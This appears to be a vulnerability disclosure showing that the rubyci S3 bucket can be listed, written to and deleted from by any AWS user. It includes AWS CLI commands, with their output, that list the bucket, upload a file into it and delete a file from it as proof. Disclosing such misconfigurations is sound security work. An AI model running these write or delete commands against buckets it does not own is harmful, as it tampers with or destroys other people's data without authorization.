Open S3 Bucket WriteAble To Any Aws User

How it was found

Hi All, I know that http://rubyci.s3.amazonaws.com is used for file uploads on reports and so when i open your s3 bucket i able see all of your public/private files i already see you fix this vulnerability but it not completely fixed

root@injector:~# aws s3 ls s3://rubyci
                           PRE aix71_ppc/
                           PRE amazon/
                           PRE arch/
                           PRE archive/
                           PRE armv8b/
                           PRE c64b/
                           PRE centos5-32/
                           PRE centos5-64/
                           PRE centos7/
                           PRE debian/
                           PRE debian7/
                           PRE debian8/
                           PRE f19p8/
                           PRE fedora20/
                           PRE fedora21/
                           PRE fedora22/
                           PRE fedora23/
                           PRE fedora24/
                           PRE fedora25/
                           PRE freebsd10-zfs/
                           PRE freebsd11zfs/
                           PRE freebsd82-32/
                           PRE freebsd82-64/
                           PRE funtoo/
                           PRE gentoo/
                           PRE icc-x64/
                           PRE opensuse13/
                           PRE opensuseleap/
                           PRE osx1010/
                           PRE osx1011/
                           PRE rhel_zlinux/
                           PRE scw-9d6766/
                           PRE tk2-243-31075/
                           PRE ubuntu/
                           PRE ubuntu1004-32/
                           PRE ubuntu1004-64/
                           PRE ubuntu1404/
                           PRE ubuntu1410/
                           PRE ubuntu1510/
                           PRE ubuntu1604/
                           PRE unstable10s/
                           PRE unstable10x/
                           PRE unstable11s/
                           PRE unstable11x/
2017-02-17 13:03:14        112 test.html
2017-02-27 09:52:15         20 test.txt

any one who have aws s3 cli can write in your bucket because your bucket writable through aws cli when i try to move and delete any file on your bucket i got this

MOVED

root@injector:~# aws s3 mv test.txt s3://rubyci
move: ./test.txt to s3://rubyci/test.txt 

DELETED

root@injector:~# aws s3 rm s3://rubyci/test.txt
delete: s3://rubyci/test.txt

any one using aws cli can move and delete any file from your bucket also check the attached picture and feel free to contact if you need any additional info

Best Regard Saad Ahmed